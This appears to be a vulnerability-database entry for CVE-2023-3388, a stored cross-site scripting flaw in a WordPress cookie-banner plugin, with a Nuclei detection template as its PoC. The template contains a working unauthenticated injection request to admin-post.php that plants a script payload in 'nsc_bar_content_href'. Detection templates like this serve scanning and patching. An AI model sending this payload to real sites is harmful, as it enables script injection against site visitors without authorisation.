CVE-2023-3388: Beautiful Cookie Consent Banner < 2.10.2 - Cross-Site Scripting

日期: 2025-12-12 | 影响软件: Beautiful Cookie Consent Banner | POC: 已公开

漏洞描述

The Beautiful Cookie Consent Banner for WordPress is vulnerable to Stored Cross-Site Scripting via the 'nsc_bar_content_href' parameter in versions up to, and including, 2.10.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. A partial patch was made available in 2.10.1 and the issue was fully patched in 2.10.2.

PoC代码[已公开]

id: CVE-2023-3388

info:
  name: Beautiful Cookie Consent Banner < 2.10.2 - Cross-Site Scripting
  author: daffainfo
  severity: high
  description: |
    The Beautiful Cookie Consent Banner for WordPress is vulnerable to Stored Cross-Site Scripting via the 'nsc_bar_content_href' parameter in versions up to, and including, 2.10.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. A partial patch was made available in 2.10.1 and the issue was fully patched in 2.10.2.
  impact: |
    Attackers can execute arbitrary scripts in users' browsers, potentially leading to session hijacking, defacement, or redirection.
  remediation: |
    Update to version 2.10.2 or later.
  reference:
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=2857982%40beautiful-and-responsive-cookie-consent&new=2857982%40beautiful-and-responsive-cookie-consent&sfp_email=&sfph_mail=
    - https://www.wordfence.com/blog/2023/05/wordfence-firewall-blocks-bizarre-large-scale-xss-campaign/
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/542a4079-b1a2-49bc-9ddd-ba7978c9992e?source=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3388
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2023-3388
    cwe-id: CWE-79
    epss-score: 0.76681
    epss-percentile: 0.98893
    cpe: cpe:2.3:a:beautiful-cookie-banner:beautiful_cookie_consent_banner:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: beautiful-cookie-banner
    product: beautiful_cookie_consent_banner
    framework: wordpress
  tags: cve,cve2023,wordpress,wp,wp-plugin,beautiful-cookie-banner,xss,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-admin/admin-post.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        nsc_bar_activate_banner=1&nsc_bar_activate_test_banner=0&nsc_bar_content_href=%22%20style%3ddisplay%3ablock%3bcontent-visibility%3aauto%20oncontentvisibilityautostatechange%3d%22alert(document.domain)&nsc_bar_type=opt-in

    matchers:
      - type: dsl
        dsl:
          - 'len(body) == 0'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'window\.cookieconsent\.initialise\({'
          - '"href":\s+"\\" style=display:block;content-visibility:auto oncontentvisibilityautostatechange=\\"alert\(document\.domain\)"'
        condition: and

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c033bf14be3ff1f1c3c9dcf93b85f10f4670a41b43ceefefc0084313596df10b022100e5f7bab5715702e5d018f362e051fc0819f12b1532a5b86053524fd5e0fe4c4a:922c64590222798bb761d5b6d8e72950

相关漏洞推荐